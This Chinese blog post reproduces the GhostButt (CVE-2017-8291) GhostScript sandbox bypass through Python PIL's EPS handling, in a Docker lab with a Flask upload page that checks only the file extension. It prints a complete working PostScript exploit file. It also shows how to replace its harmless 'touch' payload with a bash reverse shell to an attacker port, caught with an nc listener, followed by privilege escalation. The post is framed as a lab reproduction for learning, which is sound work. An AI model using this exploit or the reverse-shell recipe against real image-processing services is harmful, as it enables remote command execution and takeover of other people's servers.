Bubbles~blog

用爱发电

python PIL解析漏洞复现

python里对图片处理调用最多最广泛的库应该就是PIL了,它的强大也是有目共睹的,这次的洞其实也不是出在它身上,但是其调用的GhostScript出了洞那也就轮到它躺枪了

PIL处理eps格式的文件时如果环境配置了GhostScript,那么就会调用它来处理文件,因而受到了这次的GhostButt CVE-2017-8291漏洞影响

eps文件是什么

可能很多人都没怎么见过这种文件,说实话我自己也没咋见,不过去看了一下,这种格式是一种带有预览图像的文件格式,里面一般带有PostScript语言的文本文件,这也是一种编程语言,主要用来列印图像和文字,是一种描述类语言,主要是给打印机看的,而且它也有一些黑技巧,可以帮你渗透打印机,有兴趣的可以自行了解一下。。。

所以现在我们差不多也看出来了这种eps文件应该主要出现在出版和打印行业里,我们日常里确实比较少看见它的身影

这里还要提一点就是eps文件相当于一个携带了文件头的PostScript文件,这也是等会它能被PIL识别处理的原理,正常我们要打开它可以使用photoshop之类的绘图软件,它也支持eps格式的转换,它的优点也有很多,这里我们就不探讨了,目前我们知道这些就差不多了。。。

原理

在PIL里我们常用image.open函数来加载图片,得到它的内容,而事实上它是根据文件头信息来判断文件格式而不是后缀名。

eps文件的文件头即%!PS,只要以它开头的文件都会被识别为eps文件,然后PIL就会判断系统中是否安装了GhostScript,,如果安装了就会调用它来处理eps,调用的命令如下

gs -q -g100x100 -r72.000000x72.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/tmp/tmpi8gqd19k -c 0 0 translate -f ../xxx.eps

里面有很多参数,这里需要注意的是dSAFER,它相当于一个安全模式,在这里限制了文件删除,重命名和命令执行等行为,而这次的漏洞正是对这一模式的绕过,从而导致了任意命令执行,具体的漏洞细节可以去看看大牛的分析

GhostButt – CVE-2017-8291利用分析

说不定可以让自己多学一门语言,虽然我是看的有点懵逼。。。

复现

正常情况下GhostScript在windows下的安装挺费劲的,我们还是用docker来复现漏洞,这里我就直接用了p牛的docker

docker-file

里面也附带了相应的poc,主要情景就是一个拿flask快速开发的上传页面,后台调用PIL来进行处理,得到图片的长宽,限制类型为png,但只用了后缀名认证,我们直接把编写好的eps漏洞利用文件更名为png后缀即可完成攻击

docker-compose完成后访问http://your_ip:8000即可看到上传页面,这时我们来看看要上传的POC,即附带的poc.png,我们已经知道它是一个eps文件,里面其实是一些文本,也就是PostScript编写的代码。

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
 
/size_from  10000      def
/size_step    500      def
/size_to   65000      def
/enlarge    1000      def
 
%/bigarr 65000 array def
 
0
size_from size_step size_to {
    pop
    1 add
} for
 
/buffercount exch def
 
/buffersizes buffercount array def
 
 
0
size_from size_step size_to {
    buffersizes exch 2 index exch put
    1 add
} for
pop
 
/buffers buffercount array def
 
0 1 buffercount 1 sub {
    /ind exch def
    buffersizes ind get /cursize exch def
    cursize string /curbuf exch def
    buffers ind curbuf put
    cursize 16 sub 1 cursize 1 sub {
        curbuf exch 255 put
    } for
} for
 
 
/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def
 
enlarge array aload
 
{
    .eqproc
    buffersearchvars 0 buffersearchvars 0 get 1 add put
    buffersearchvars 1 0 put
    buffersearchvars 2 0 put
    buffercount {
        buffers buffersearchvars 1 get get
        buffersizes buffersearchvars 1 get get
        16 sub get
        254 le {
            buffersearchvars 2 1 put
            buffersearchvars 3 buffers buffersearchvars 1 get get put
            buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
        } if
        buffersearchvars 1 buffersearchvars 1 get 1 add put
    } repeat
 
    buffersearchvars 2 get 1 ge {
        exit
    } if
    %(.) print
} loop
 
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put
 
buffersearchvars 0 get array aload
sdevice 0 get
16#3e8 0 put
 
sdevice 0 get
16#3b0 0 put
 
sdevice 0 get
16#3f0 0 put
 
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

代码挺长的。。。不过其他的我们都不用更改,真正执行命令的地方在

(%pipe%touch /tmp/aaaaa)

这里,此处写好的是在tmp目录下新建一个aaaaa空文件,我们可以写入一个反弹shell
最简单的就是直接用bash解析

bash -i >& /dev/tcp/your_ip/21 0>&1

这里注意选择一个开放的端口,我直接用了21端口
然后在本机用nc监听

nc -l -p 21

然后就可以进行提权等一系列操作